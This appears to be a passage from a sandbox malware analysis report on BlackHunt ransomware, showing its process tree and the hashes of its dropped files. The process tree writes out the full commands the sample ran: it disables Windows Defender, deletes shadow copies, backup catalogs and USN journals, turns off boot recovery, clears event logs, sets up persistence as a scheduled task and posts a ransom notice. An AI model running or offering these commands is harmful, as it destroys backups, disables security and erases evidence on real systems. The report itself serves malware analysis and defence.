                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                                                                      2⤵
                                                                        PID:2512
                                                                      • C:\Windows\System32\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
                                                                        2⤵
                                                                          PID:2660
                                                                        • C:\Windows\System32\cmd.exe
                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
                                                                          2⤵
                                                                            PID:2628
                                                                          • C:\Windows\System32\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
                                                                            2⤵
                                                                              PID:2620
                                                                            • C:\Windows\System32\cmd.exe
                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
                                                                              2⤵
                                                                                PID:2716
                                                                              • C:\Windows\System32\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
                                                                                2⤵
                                                                                • Suspicious use of WriteProcessMemory
                                                                                PID:2608
                                                                              • C:\Windows\System32\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
                                                                                2⤵
                                                                                • Suspicious use of WriteProcessMemory
                                                                                PID:2340
                                                                              • C:\Windows\System32\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
                                                                                2⤵
                                                                                • Suspicious use of WriteProcessMemory
                                                                                PID:2292
                                                                              • C:\Windows\System32\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
                                                                                2⤵
                                                                                • Suspicious use of WriteProcessMemory
                                                                                PID:2076
                                                                              • C:\Windows\System32\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
                                                                                2⤵
                                                                                  PID:4168
                                                                                  • C:\Windows\SysWOW64\mshta.exe
                                                                                    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
                                                                                    3⤵
                                                                                    • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                                                    PID:1612
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\b7819413b26e47fb4623bf9dd7b7d67efb27c7a5766ee29e3cbd3b1a7711e3b6.exe"
                                                                                  2⤵
                                                                                  • Deletes itself
                                                                                  PID:1988
                                                                                • C:\Windows\System32\cmd.exe
                                                                                  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                  2⤵
                                                                                    PID:3232
                                                                                  • C:\Windows\System32\cmd.exe
                                                                                    "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
                                                                                    2⤵
                                                                                      PID:3608
                                                                                    • C:\Windows\System32\cmd.exe
                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                      2⤵
                                                                                        PID:3792
                                                                                      • C:\Windows\System32\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                        2⤵
                                                                                          PID:3456
                                                                                        • C:\Windows\System32\cmd.exe
                                                                                          "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
                                                                                          2⤵
                                                                                            PID:3572
                                                                                          • C:\Windows\System32\cmd.exe
                                                                                            "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                            2⤵
                                                                                              PID:1408
                                                                                            • C:\Windows\System32\cmd.exe
                                                                                              "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                              2⤵
                                                                                                PID:4488
                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                2⤵
                                                                                                  PID:920
                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                                                                                  2⤵
                                                                                                    PID:3816
                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                    "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                                                                                    2⤵
                                                                                                      PID:3464
                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                      "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                      2⤵
                                                                                                        PID:1144
                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                        "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                                                                                                        2⤵
                                                                                                          PID:4144
                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                          "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                                                                                          2⤵
                                                                                                            PID:4160
                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                            "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
                                                                                                            2⤵
                                                                                                              PID:4148
                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                              "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
                                                                                                              2⤵
                                                                                                                PID:4036
                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
                                                                                                                2⤵
                                                                                                                  PID:3296
                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
                                                                                                                  2⤵
                                                                                                                    PID:5096
                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                    "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
                                                                                                                    2⤵
                                                                                                                      PID:4544
                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                      "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
                                                                                                                      2⤵
                                                                                                                        PID:3252
                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                        "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
                                                                                                                        2⤵
                                                                                                                          PID:4400
                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                          "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
                                                                                                                          2⤵
                                                                                                                            PID:3992
                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                          reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
                                                                                                                          1⤵
                                                                                                                          • Modifies registry class
                                                                                                                          PID:2572
                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                          reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
                                                                                                                          1⤵
                                                                                                                          • Modifies registry class
                                                                                                                          PID:2480
                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
                                                                                                                          1⤵
                                                                                                                            PID:2960
                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                                                                                                                            1⤵
                                                                                                                              PID:1560
                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                                                                                                                              1⤵
                                                                                                                                PID:1680
                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                                                                                                                1⤵
                                                                                                                                  PID:1284
                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                                                                                                  1⤵
                                                                                                                                    PID:632
                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                                                                                    1⤵
                                                                                                                                      PID:2232
                                                                                                                                    • C:\Windows\system32\vssadmin.exe
                                                                                                                                      vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                                                                                                                      1⤵
                                                                                                                                      • Enumerates connected drives
                                                                                                                                      • Interacts with shadow copies
                                                                                                                                      PID:1200
                                                                                                                                    • C:\Windows\system32\vssadmin.exe
                                                                                                                                      vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                                                                                                                                      1⤵
                                                                                                                                      • Interacts with shadow copies
                                                                                                                                      PID:2280
                                                                                                                                    • C:\Windows\system32\bcdedit.exe
                                                                                                                                      bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                                      1⤵
                                                                                                                                      • Modifies boot configuration data using bcdedit
                                                                                                                                      PID:580
                                                                                                                                    • C:\Windows\system32\bcdedit.exe
                                                                                                                                      bcdedit /set {default} recoveryenabled No
                                                                                                                                      1⤵
                                                                                                                                      • Modifies boot configuration data using bcdedit
                                                                                                                                      PID:1136
                                                                                                                                    • C:\Windows\system32\vssadmin.exe
                                                                                                                                      vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                                                                                                                                      1⤵
                                                                                                                                      • Interacts with shadow copies
                                                                                                                                      PID:1684
                                                                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                                                                      schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                      1⤵
                                                                                                                                        PID:2964
                                                                                                                                      • C:\Windows\system32\wbadmin.exe
                                                                                                                                        wbadmin.exe delete catalog -quiet
                                                                                                                                        1⤵
                                                                                                                                        • Deletes backup catalog
                                                                                                                                        PID:2220
                                                                                                                                      • C:\Windows\system32\fsutil.exe
                                                                                                                                        fsutil.exe usn deletejournal /D C:
                                                                                                                                        1⤵
                                                                                                                                        • Deletes NTFS Change Journal
                                                                                                                                        PID:2756
                                                                                                                                      • C:\Windows\system32\vssvc.exe
                                                                                                                                        C:\Windows\system32\vssvc.exe
                                                                                                                                        1⤵
                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                        PID:2188
                                                                                                                                      • C:\Windows\system32\vssadmin.exe
                                                                                                                                        vssadmin.exe Delete Shadows /all /quiet
                                                                                                                                        1⤵
                                                                                                                                        • Interacts with shadow copies
                                                                                                                                        PID:2096
                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                        SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\b7819413b26e47fb4623bf9dd7b7d67efb27c7a5766ee29e3cbd3b1a7711e3b6.exe" /F
                                                                                                                                        1⤵
                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                        PID:2424
                                                                                                                                      • C:\Windows\system32\wbengine.exe
                                                                                                                                        "C:\Windows\system32\wbengine.exe"
                                                                                                                                        1⤵
                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                        PID:2104
                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                                                                                                        1⤵
                                                                                                                                          PID:2532
                                                                                                                                        • C:\Windows\system32\DllHost.exe
                                                                                                                                          C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                                          1⤵
                                                                                                                                            PID:1284
                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                                                                                                            1⤵
                                                                                                                                              PID:2744
                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                                                                                                              1⤵
                                                                                                                                                PID:2600
                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                                                                                                1⤵
                                                                                                                                                  PID:2584
                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                  reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                                                                                                                                                  1⤵
                                                                                                                                                    PID:1692
                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                                                                                                                    1⤵
                                                                                                                                                      PID:2388
                                                                                                                                                    • C:\Windows\System32\vdsldr.exe
                                                                                                                                                      C:\Windows\System32\vdsldr.exe -Embedding
                                                                                                                                                      1⤵
                                                                                                                                                        PID:1408
                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                                                                                                                        1⤵
                                                                                                                                                        • Enumerates connected drives
                                                                                                                                                        PID:2088
                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                        reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                                                                                                                        1⤵
                                                                                                                                                          PID:2888
                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                                                                                                                          1⤵
                                                                                                                                                            PID:488
                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                                                                                                                                            1⤵
                                                                                                                                                              PID:2084
                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                              reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                                                                                                                                                              1⤵
                                                                                                                                                                PID:1772
                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:1628
                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:1660
                                                                                                                                                                  • C:\Windows\system32\conhost.exe
                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe "1442869522695173780294716983467087135-399544332-1458162096160144429455687586"
                                                                                                                                                                    1⤵
                                                                                                                                                                      PID:2756
                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
                                                                                                                                                                      1⤵
                                                                                                                                                                        PID:2792
                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
                                                                                                                                                                        1⤵
                                                                                                                                                                          PID:2820
                                                                                                                                                                        • C:\Windows\System32\vds.exe
                                                                                                                                                                          C:\Windows\System32\vds.exe
                                                                                                                                                                          1⤵
                                                                                                                                                                            PID:3640
                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Modifies Windows Defender Real-time Protection settings
                                                                                                                                                                            PID:2312
                                                                                                                                                                          • C:\Windows\system32\conhost.exe
                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe "1273282956-1451555462-3424807621248270092-1642638985884159750-250660599-405799512"
                                                                                                                                                                            1⤵
                                                                                                                                                                              PID:2964
                                                                                                                                                                            • C:\Windows\system32\conhost.exe
                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe "-2080885206-1722832230-1140545911586061126209605866112199834651930723045-1946586500"
                                                                                                                                                                              1⤵
                                                                                                                                                                                PID:2600
                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
                                                                                                                                                                                1⤵
                                                                                                                                                                                • Modifies registry class
                                                                                                                                                                                PID:2696
                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
                                                                                                                                                                                1⤵
                                                                                                                                                                                • Modifies registry class
                                                                                                                                                                                PID:2672
                                                                                                                                                                              • C:\Windows\system32\fsutil.exe
                                                                                                                                                                                fsutil usn deletejournal /D C:\
                                                                                                                                                                                1⤵
                                                                                                                                                                                  PID:3148
                                                                                                                                                                                • C:\Windows\system32\notepad.exe
                                                                                                                                                                                  notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                                                                                  1⤵
                                                                                                                                                                                    PID:3132
                                                                                                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                    taskkill /IM mshta.exe /f
                                                                                                                                                                                    1⤵
                                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                    PID:4244
                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                    wevtutil.exe cl Security
                                                                                                                                                                                    1⤵
                                                                                                                                                                                    • Clears Windows event logs
                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                    PID:2484
                                                                                                                                                                                  • C:\Windows\system32\bcdedit.exe
                                                                                                                                                                                    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                                                                                    1⤵
                                                                                                                                                                                    • Modifies boot configuration data using bcdedit
                                                                                                                                                                                    PID:1328
                                                                                                                                                                                  • C:\Windows\system32\wbadmin.exe
                                                                                                                                                                                    wbadmin.exe delete catalog -quiet
                                                                                                                                                                                    1⤵
                                                                                                                                                                                    • Deletes backup catalog
                                                                                                                                                                                    PID:4252
                                                                                                                                                                                  • C:\Windows\system32\bcdedit.exe
                                                                                                                                                                                    bcdedit /set {default} recoveryenabled No
                                                                                                                                                                                    1⤵
                                                                                                                                                                                    • Modifies boot configuration data using bcdedit
                                                                                                                                                                                    PID:4232
                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                                                                                    1⤵
                                                                                                                                                                                      PID:4300
                                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                                      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                                                                                      1⤵
                                                                                                                                                                                        PID:892
                                                                                                                                                                                      • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                        ping 127.0.0.1 -n 5
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Runs ping.exe
                                                                                                                                                                                        PID:4200
                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                        REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                                                                                                                        1⤵
                                                                                                                                                                                          PID:2480
                                                                                                                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                          SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
                                                                                                                                                                                          1⤵
                                                                                                                                                                                            PID:3880
                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                            wevtutil.exe cl Security /e:false
                                                                                                                                                                                            1⤵
                                                                                                                                                                                            • Clears Windows event logs
                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                            PID:3736
                                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                                            REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                                                                                                                            1⤵
                                                                                                                                                                                              PID:3084
                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                              wevtutil.exe cl Application
                                                                                                                                                                                              1⤵
                                                                                                                                                                                              • Clears Windows event logs
                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                              PID:3260
                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                              schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                                                                              1⤵
                                                                                                                                                                                                PID:3140
                                                                                                                                                                                              • C:\Windows\system32\vssadmin.exe
                                                                                                                                                                                                vssadmin.exe Delete Shadows /all /quiet
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                • Interacts with shadow copies
                                                                                                                                                                                                PID:1804
                                                                                                                                                                                              • C:\Windows\system32\fsutil.exe
                                                                                                                                                                                                fsutil.exe usn deletejournal /D C:
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                • Deletes NTFS Change Journal
                                                                                                                                                                                                PID:4132
                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                wevtutil.exe cl System
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                • Clears Windows event logs
                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                PID:3804
                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                wevtutil.exe cl Setup
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                • Clears Windows event logs
                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                PID:4408
                                                                                                                                                                                              • C:\Windows\system32\fsutil.exe
                                                                                                                                                                                                fsutil usn deletejournal /D M:\
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                • Enumerates connected drives
                                                                                                                                                                                                PID:3460
                                                                                                                                                                                              • C:\Windows\system32\fsutil.exe
                                                                                                                                                                                                fsutil usn deletejournal /D F:\
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                • Enumerates connected drives
                                                                                                                                                                                                PID:3696

                                                                                                                                                                                              Network

                                                                                                                                                                                              MITRE ATT&CK Enterprise v15

                                                                                                                                                                                              Replay Monitor

                                                                                                                                                                                              Loading Replay Monitor...

                                                                                                                                                                                              Downloads

                                                                                                                                                                                              • C:\Program Files\7-Zip\#BlackHunt_ReadMe.hta

                                                                                                                                                                                                Filesize

                                                                                                                                                                                                12KB

                                                                                                                                                                                                MD5

                                                                                                                                                                                                08e5e0823d219469f1598463077f6a55

                                                                                                                                                                                                SHA1

                                                                                                                                                                                                ae9d74b0d1be865d76a15d9c230118ea85b388fd

                                                                                                                                                                                                SHA256

                                                                                                                                                                                                df03ba3598574879a8da7491540a1e5bc9bfd86a975c3ef073328c5eb2849286

                                                                                                                                                                                                SHA512

                                                                                                                                                                                                7d78b0a8a424df5d2373151a162acd0b103a51ac3acec1c0a18f503266db1823a28f08cc5dca9cadbf75aac3fce44988bed4bcfd7abd3ea3b5099923421ba2de

                                                                                                                                                                                              • C:\ProgramData\#BlackHunt_Private.key

                                                                                                                                                                                                Filesize

                                                                                                                                                                                                1KB

                                                                                                                                                                                                MD5

                                                                                                                                                                                                7b0f59e173e6af879d187092c8c71b27

                                                                                                                                                                                                SHA1

                                                                                                                                                                                                fb422211c517e7528e10ffd1bc8dcc76f57cf336

                                                                                                                                                                                                SHA256

                                                                                                                                                                                                df24408b213ca2ea968efa469c0792c934de7936360696bb5e7ce3ffe5bdf948

                                                                                                                                                                                                SHA512

                                                                                                                                                                                                27105e869c014edf99d0e25d09e34aacbcedbed79b79f91baed82a5383fe85768622221156ae736f7f4de3113d109653395a39cbf59e14613c709c27434cec26

                                                                                                                                                                                              • C:\ProgramData\#BlackHunt_ReadMe.txt

                                                                                                                                                                                                Filesize

                                                                                                                                                                                                684B

                                                                                                                                                                                                MD5

                                                                                                                                                                                                f8258ac442c736d7e384ffcd0990bf9f

                                                                                                                                                                                                SHA1

                                                                                                                                                                                                ea32eb6f98630cbee506f7b5b6962ab720f3b8b2

                                                                                                                                                                                                SHA256

                                                                                                                                                                                                10aac1bad3142406de685f43b389af7d1458e89f05ac277f594b8fe98704d599

                                                                                                                                                                                                SHA512

                                                                                                                                                                                                dcaa5f92dac3a2d07dbbeb5bd3ca5ce9aeeadda0647494f12eb2a22e8f13c82495070a7161147edb7e301fd29eb1a531ffba6a23352a1e994eaca5e231b6293f